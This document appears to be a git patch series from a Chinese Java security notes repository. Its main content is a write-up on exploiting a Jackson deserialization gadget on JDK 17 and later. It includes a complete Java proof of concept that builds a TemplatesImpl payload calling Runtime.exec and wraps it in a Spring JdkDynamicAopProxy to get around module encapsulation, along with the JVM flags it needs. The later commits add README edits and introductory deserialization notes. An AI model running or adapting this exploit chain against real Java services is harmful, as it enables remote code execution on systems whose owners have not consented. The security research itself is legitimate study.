`-add-opens` 参数开放 模块或者使用` Java Agent/Instrumentation` 来打破封装。 + + + +因此,jdk17及以上会进行模块检测导致我们无法直接利用 `getOutputProperties` 。 那么现在最关键的问题,就是如何在jdk高版本之中利用 `getOutputProperties` + + + +###### JdkDynamicAopProxy动态代理TemplatesImpl + +在前面的《随机性导致利用失败》中用到一个trick:借助动态代理使用`InvocationHandler`创建`javax.xml.transform.Templates`代理对象,并在`InvocationHandler#invoke`中调用的`TemplatesImpl.getOutputProperties`方法,其中用到的`InvocationHandler`为`org.springframework.aop.framework.JdkDynamicAopProxy` + +**查看高版本jdk的 `module-info.java` 描述,可以发现`javax.xml.transform`是`exports`的,因此。直接传入 `TemplatesImpl` 对象的话,`com.sun.org.apache.xalan.internal.xsltc.trax` 没有 export 给外部,所以会出现报错。但是经过`JdkDynamicAopProxy` 代理之后,对外暴露的接口是 `javax.xml.transform.Templates`可以绕过模块化强封装** + + + +在这里需要注意一个很重要的点,在以往我们利用`TemplatesImpl` 的时候,被利用的目标都需要继承 `AbstractTranslet` ,但在高版本下肯定是不行的,因为其在别的包中默认不可访问,必然涉及到模块化的检测导致报错 + +###### TemplatesImpl恶意类真的必须继承AbstractTranslet? + +> - `_transletIndex`:表示哪个 `_bytecodes` 的索引对应“主 translet”类(即执行转换逻辑的那个类);当 `_transletIndex < 0` 时通常表示没有可执行的 translet。 +> - `_auxClasses`:一个容器(`HashMap` / `Hashtable` 等,根据 JDK 与实现不同),用于存放“辅助类”字节码或已经被定义的辅助类引用。 + +其实不然,`AbstractTranslet`类通过`_transletIndex`来限制执⾏,但 `_transletIndex` 没有被标记为 `transient` 是能参与序列化过程的,可以直接通过反射来绕过这个限制。 + + +当类不继承 `AbstractTranslet` 时,会向 `_auxClasses` 中 `put` 数据,所以需要保证`_auxClasses` 不为空。 + + +寻找实例化 `_auxClasses` 的地方,发现在前⾯有⼀个判断,当 `classCount` ⼤于 1 时,即 `_bytecodes` 传⼊多个类时会将 `_auxClasses` 赋值为 `HashMap`。 + +最终构造的`TemplatesImpl`恶意类如下: + +```java +ClassPool pool = ClassPool.getDefault(); +CtClass clazzFoo = pool.makeClass("abu"); +byte[] abu = clazzFoo.toBytecode(); +// 满⾜条件 1. classCount也就是_bytecodes的数量⼤于1 2. _transletIndex >= 0可去掉 AbstractTranslet +Templates templates = TemplatesImpl.class.newInstance(); +setValue(templates, "_bytecodes", new byte[][]{genPayload(cmd),abu}); +setValue(templates, "_name", "1"); +setValue(templates,"_transletIndex",0); +return templates; +``` + +最终可在高版本jdk中直接rce的poc如下,下面是jdk17中的测试: + +```java +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import javassist.CtMethod; +import org.springframework.aop.framework.AdvisedSupport; + +import javax.swing.undo.UndoManager; +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Base64; +import java.util.Vector; + +//java9以上 有module限制 生成序列化时需加上--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens=java.desktop/javax.swing.event=ALL-UNNAMED +//链子入口EventListenerList -> UndoManager -> POJONode -> +public class jackson_rce { + public static void main(String[] args) throws Exception{ + + POJONode pojoNode = new POJONode(makeTemplatesImplAopProxy()); + javax.swing.event.EventListenerList list = new javax.swing.event.EventListenerList(); + UndoManager manager = new UndoManager(); + Vector vector = (Vector) getFieldValue(manager.getClass(),manager, "edits"); + vector.add(pojoNode); + setValue(list, "listenerList", new Object[]{InternalError.class, manager}); + System.out.println(serialize(list)); + unserialize("ser.bin"); + } + + public static void setValue(Object obj, String name, Object value) throws Exception{ + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + } + + + public static String serialize(Object o) throws IOException { + ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("ser.bin")); + os.writeObject(o); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(o); + oos.close(); + + String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); + System.out.println(base64String.length()); + return base64String; + } + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } + public static byte[] genPayload(String cmd) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); + constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");"); + clazz.addConstructor(constructor); + clazz.getClassFile().setMajorVersion(52); + return clazz.toBytecode(); + } + public static Templates makeTemplatesImpl(String cmd) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazzFoo = pool.makeClass("abu"); + byte[] abu = clazzFoo.toBytecode(); + // 满⾜条件 1. classCount也就是_bytecodes的数量⼤于1 2. _transletIndex >= 0可去掉 AbstractTranslet + Templates templates = TemplatesImpl.class.newInstance(); + setValue(templates, "_bytecodes", new byte[][]{genPayload(cmd),abu}); + setValue(templates, "_name", "1"); + setValue(templates,"_transletIndex",0); + return templates; + } + public static Object makeTemplatesImplAopProxy() throws Exception { + Templates templates = makeTemplatesImpl("calc"); + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(templates); + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); + constructor.setAccessible(true); + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + return proxy; + } + public static Object getFieldValue(Class> clazz, Object obj, String fieldName) throws Exception { + try { + Field field = clazz.getDeclaredField(fieldName); + if ( field != null ) + field.setAccessible(true); + else if ( clazz.getSuperclass() != null ) + field = (Field) getFieldValue(clazz.getSuperclass(), obj, fieldName); + + return field.get(obj); + } + catch ( NoSuchFieldException e ) { + if ( !clazz.getSuperclass().equals(Object.class) ) { + return getFieldValue(clazz.getSuperclass(),obj, fieldName); + } + throw e; + } + } +} +``` + +生成序列化时候需要开启 + +``` +--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens=java.desktop/javax.swing.event=ALL-UNNAMED +``` From cb764e21390927f1e15ab3b5aac6abffcb027d2a Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:34:26 +0800 Subject: [PATCH 15/32] =?UTF-8?q?Delete=202.=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E4=B8=93=E5=8C=BA/Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget=E5=9C=A8=E9=AB=98=E7=89=88=E6=9C=ACJDK=E4=B8=8B=E7=9A=84?= =?UTF-8?q?=E5=88=A9=E7=94=A8/1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../1" | 1 - 1 file changed, 1 deletion(-) delete mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" deleted file mode 100644 index 8b13789..0000000 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" +++ /dev/null @@ -1 +0,0 @@ - From 6c4bf1a0aae7aac31795a2b2bb6c40458470f675 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:45:03 +0800 Subject: [PATCH 16/32] Update README.md --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 48ce35c..bd62fd7 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,6 @@ ## 2.反序列化 -很早前学了,后面补上,更多是说一点关键的东西,不会很详细,好吧这里再拓展成反序列化专区好了 如果想系统学习CC链、CB链的话这部分还是推荐p牛的[Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已(这部分看我下面的share并不适合新人,过了这么久看过网上很多文章还是觉得P牛写的更适合新人) https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/ @@ -137,7 +136,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE - [fastjson探测class/如何判断是fastjson、jackson、gson](https://github.com/safe6Sec/Fastjson) - [记一次 Fastjson Gadget 寻找](https://mp.weixin.qq.com/s/dJkZuf6Ho6EK71bbnXI0EA) -## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) +## 4.Weblogic专区 - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) - [CVE-2015-4852复现分析](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90.md) - [Weblogic使用ClassLoader和RMI来回显命令执行结果](https://xz.aliyun.com/t/7228) @@ -516,7 +515,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE ## 优质博客 -- [Y4tacker(自己的能不写吗)](https://y4tacker.github.io/) +- [Y4tacker](https://y4tacker.github.io/) - [三梦](https://threedr3am.github.io/) - [su18](https://su18.org/) - [landgrey](https://landgrey.me/) From 29f6e665e9b8b39e6730fc4924390663a3682762 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 21 Oct 2025 16:29:10 +0800 Subject: [PATCH 17/32] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index bd62fd7..0a946d8 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,7 @@ # JavaSec 从Y4大佬那里Fork来自用的魔改笔记 +[基础知识库](https://byaaronluo.github.io/) ## 1.基础篇 From eec586ed1f11390dfe80abd07b5bee197c02d5ff Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 16:14:43 +0800 Subject: [PATCH 18/32] =?UTF-8?q?Create=20=E5=AD=A6=E4=B9=A0=E6=9D=82?= =?UTF-8?q?=E8=AE=B0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...5\246\344\271\240\346\235\202\350\256\260.md" | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 "0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" diff --git "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" new file mode 100644 index 0000000..52a6080 --- /dev/null +++ "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" @@ -0,0 +1,16 @@ +# Listener 与 Filter、AOP 的区别 + +JavaWeb 中还有 Filter(过滤器)、AOP(面向切面编程),三者都能实现 “通用逻辑解耦”,但核心定位不同: + +| 组件 | 核心定位 | 触发时机 | 典型用途 | +| ------------ | --------------------------- | ------------------------------------------------------------ | -------------------------------- | +| **Listener** | 事件驱动(监听对象变化) | 域对象生命周期 / 属性变化时(如应用启动、会话创建) | 资源初始化、在线统计、全局配置 | +| **Filter** | 请求过滤(拦截请求 / 响应) | HTTP 请求到达 Servlet/Controller 前 / 后 | 登录校验、字符编码转换、接口限流 | +| **AOP** | 横切逻辑(环绕方法执行) | 方法执行前 / 后 / 异常时(如 Controller 方法、Service 方法) | 日志记录、事务管理、权限校验 | + +简单总结: + +- Listener:盯 “对象变化”(如应用、会话、请求的创建 / 销毁); +- Filter:盯 “请求流程”(如 HTTP 请求的拦截与处理); +- AOP:盯 “方法执行”(如业务方法的调用过程)。 + From 0ea3c1389f3c5e9fe92e0184397d980a2e3c8f06 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 16:19:45 +0800 Subject: [PATCH 19/32] =?UTF-8?q?Update=20=E5=AD=A6=E4=B9=A0=E6=9D=82?= =?UTF-8?q?=E8=AE=B0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...46\344\271\240\346\235\202\350\256\260.md" | 991 ++++++++++++++++++ 1 file changed, 991 insertions(+) diff --git "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" index 52a6080..a8bc7fb 100644 --- "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" +++ "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" @@ -1,3 +1,994 @@ +# 反序列化学习 +## toString方法和 readObject方法 + +**1. `readObject` 的作用** + +- 这是 **Java 反序列化过程的入口**。 +- 当一个类实现了 `Serializable` 接口,并且定义了一个私有的 `readObject(ObjectInputStream in)` 方法时,Java 反序列化时会**优先调用这个方法**来恢复对象的状态。 +- 攻击者常常在这里构造“入口点”,因为它会在反序列化时被自动触发。 + +👉 换句话说: + +- **漏洞利用链的起点**通常是 `readObject`,因为它能在反序列化的时候执行任意逻辑(比如调用某个危险方法)。 + +**2. `toString` 的作用** + +- 这是对象转为字符串时调用的方法(如 `System.out.println(obj)`)。 +- 本身不会自动在反序列化过程中触发。 +- 但在一些 gadget chain(利用链)里,反序列化后,某个方法(比如 `hashCode`、`equals`、`compareTo`)内部可能会调用 `toString`,于是形成“跳板”来执行任意代码。 + +👉 换句话说: + +- **`toString` 是漏洞链中的“中间节点”**,常用来在链条里继续触发执行。 + +例子 + +**一、背景知识:反序列化漏洞链的本质** + +Java 反序列化漏洞的本质是: +**如果应用程序在反序列化不可信数据时,没有安全限制,攻击者可以构造一个对象图,触发一系列方法调用,最终执行恶意代码。** + +这个调用链的关键点: + +1. **入口点**:反序列化时会调用某些特定方法(比如 `readObject`、`readResolve`、`readExternal`)。 +2. **跳板点**:利用 JDK 或第三方库的对象结构,触发链条继续执行,比如调用 `equals`、`compareTo`、`toString`、`hashCode` 等。 +3. **执行点**:最终能执行命令或恶意逻辑(如 `Runtime.getRuntime().exec()`)。 + +`toString` 作为 **跳板点** 出现的原因: + +- 当容器(`HashMap`、`HashSet`、`TreeMap` 等)执行某些操作(如打印、日志、序列化、反序列化检查)时,会调用内部元素的 `toString()`。 +- 如果攻击者重写 `toString()`,可以在这个点执行任意代码。 + +**二、具体流程(结合示例)** + +假设我们使用 **`HashMap`** 作为利用链的中间节点: + +**1. 攻击者控制对象 `Evil`** + +- 这个类实现了 `Serializable`,所以可以被序列化/反序列化。 +- 攻击者在 `toString()` 中植入恶意代码。 + +``` +javaCopy codeclass Evil implements Serializable { + private String cmd; + + public Evil(String cmd) { + this.cmd = cmd; + } + + @Override + public String toString() { + System.out.println("[*] toString 被调用,执行命令:" + cmd); + // 模拟恶意操作,实际攻击中可能是: + // Runtime.getRuntime().exec(cmd); + return "Evil(cmd=" + cmd + ")"; + } +} +``` + +--- + +**2. 攻击者把 `Evil` 放到 `HashMap`** + +``` +javaCopy codeHashMap